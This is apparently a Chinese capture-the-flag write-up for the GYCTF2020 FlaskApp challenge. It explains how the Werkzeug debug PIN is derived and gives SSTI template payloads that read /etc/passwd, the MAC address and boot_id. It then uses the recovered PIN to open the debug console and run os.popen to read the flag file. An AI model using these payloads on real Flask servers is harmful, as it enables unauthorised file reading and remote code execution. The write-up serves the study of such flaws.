[GYCTF2020]FlaskApp 1题解-flask模板ssti注入+pin码破解
[GYCTF2020]FlaskApp 1题解-flask模板ssti注入+pin码破解
0x01 知识点储备:
1.CSRF跨站请求伪造
CSRF(Cross-Site Request Forgery,跨站请求伪造)是一种网络攻击形式,攻击者通过伪造用户的请求,利用用户已登录的身份在受信任的网站上执行未授权的操作。此类攻击通常发生在用户登录后,攻击者诱导用户访问恶意链接或页面,从而在用户不知情的情况下执行敏感操作
2.Flask 的 PIN 码了解
在开发 Flask 应用时,如果开启了 debug=True 模式,一旦程序运行出错,浏览器就会显示一个详细的报错页面(Traceback)。
为了方便开发者调试,这个页面提供了一个交互式控制台(Interactive Console),能直接在浏览器里输入 Python 代码。
为了有人利用这个控制台远程控制服务器,Flask 的底层工具库 Werkzeug 就设计了 PIN 码。
–
#以下引用内容来源于这篇文章,大家可以看看
pin码主要由六个参数构成
probably_public_bits:
- username:执行代码时的用户名,读/etc/passwd这个文件,然后猜UID:1000以上一般为人为创建
- appname:
getattr(app, "__name__", app.__class__.__name__),固定值,默认是Flask- modname:
getattr(app, "module", t.cast(object, app).class.module),获取固定值,默认是flask.app- moddir:
getattr(mod, "__file__", None),即app.py文件所在路径,一般可以通过查看debug报错信息获得private_bits:
uuid:
str(uuid.getnode()),即电脑上的 MAC 地址,也可以通过读取/sys/class/net/eth0/address获取,一般得到的是一串十六进制数,将其中的横杠去掉然后转成十进制,例如:00:16:3e:03:8f:39=>95529701177machine_id:
get_machine_id(),首先读取/etc/machine-id,如果有值则不读取/proc/sys/kernel/random/boot_id(一般docker用这个)。接着读取
/proc/self/cgroup,取第一行的最后一个斜杠/后面的所有字符串,与上面读到的值拼接起来,最后得到machine_id。
等会会发现这道题目不用拼接,为什么?因为Werkzeug 版本的差异
Werkzeug 的 PIN 码生成算法:(知识点5有关于Werkzeug的介绍)
在较旧的版本中:代码逻辑非常简单,只要读到了
/etc/machine-id或者/proc/sys/kernel/random/boot_id其中的任何一个,不再去读**cgroup。在较新的版本中:为了解决 Docker 容器经常共享宿主机
machine-id导致 PIN 重复的问题,官方增加了一层逻辑:不管有没有读到前面的 ID,都必须去读取/proc/self/cgroup并把那一长串 Docker ID 拼上去。
3.linux以文件形式查看mac地址方法
查看/sys/class/net/目录下的接口信息:cat /sys/class/net/
将
示例:
cat /sys/class/net/eth0/address
4.什么是Python Builtins?
#以下引用内容来源于文章
builtin是一个模块对象,它包含了Python内置的函数、异常和其他对象。
它提供了许多常用的函数和对象,可以直接在代码中使用,而无需显式导入。
例如,可以直接使用print()、len()等函数,这些函数实际上是builtin模块中的对象。
–
builtins是一个字典对象,它包含了Python解释器中所有内置的名称和对应的对象。
这个字典可以作为全局变量在任何地方使用。
它类似于一个命名空间,用于存储解释器中所有可用的内置函数和属性。可以通过全局命名空间来访问和使用这些内置的功能。
5.什么是werkzeug?
以下图片来源于知乎

0x02 思路
抓包看到了csrf_token跨站请求伪造令牌,说明后端开启了安全校验

查看提示页面/hint源代码,发现pin

随便输入发现报错debug模式

页末显示了werkzeug库,可以联想到和debug的关系

同时报错页面存在我们破解pin所需要的绝对路径: /usr/local/lib/python3.7/site-packages/flask/app.py
只剩下了Username,MAC,Machine ID
怎么找?利用模板注入,因为在刚刚报错的时候暴露了漏洞位置。在解码时把解码后的字符串放进了模板里面渲染render,我们可以利用
1 | return render_template_string(decoded_query) |
0x03 exp
1.payload1 尝试注入并拿到用户名 flaskweb
1 | {{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}} |
步骤:
1.先把payload编码,利用解码时的漏洞,解码后的输出就是我们想要的答案

1 | 结果 : root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin flaskweb:x:1000:1000::/home/flaskweb:/bin/sh |
现在还剩下 MAC 地址 和 machine ID
2.payload2 拿到 MAC 地址(/sys/class/net/)
1 | 原: |

3.payload3 拿到 machine ID(/etc/machine-id)
1 | {{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/proc/sys/kernel/random/boot_id').read()}} |
4.脚本计算pin
1 | Username: flaskweb |
脚本来源于pin解说的那篇文章
1 | import hashlib |
得到pin码

4.进入交互模式,拿flag
点击图中小小的黑窗表示即可进入控制台

输入pin码

在我们可以输入命令之前,我们需要用到python的import os导入模块调用系统底层命令

拿到flag
1 | >>> os.popen('cat /this_is_the_flag.txt').read() |

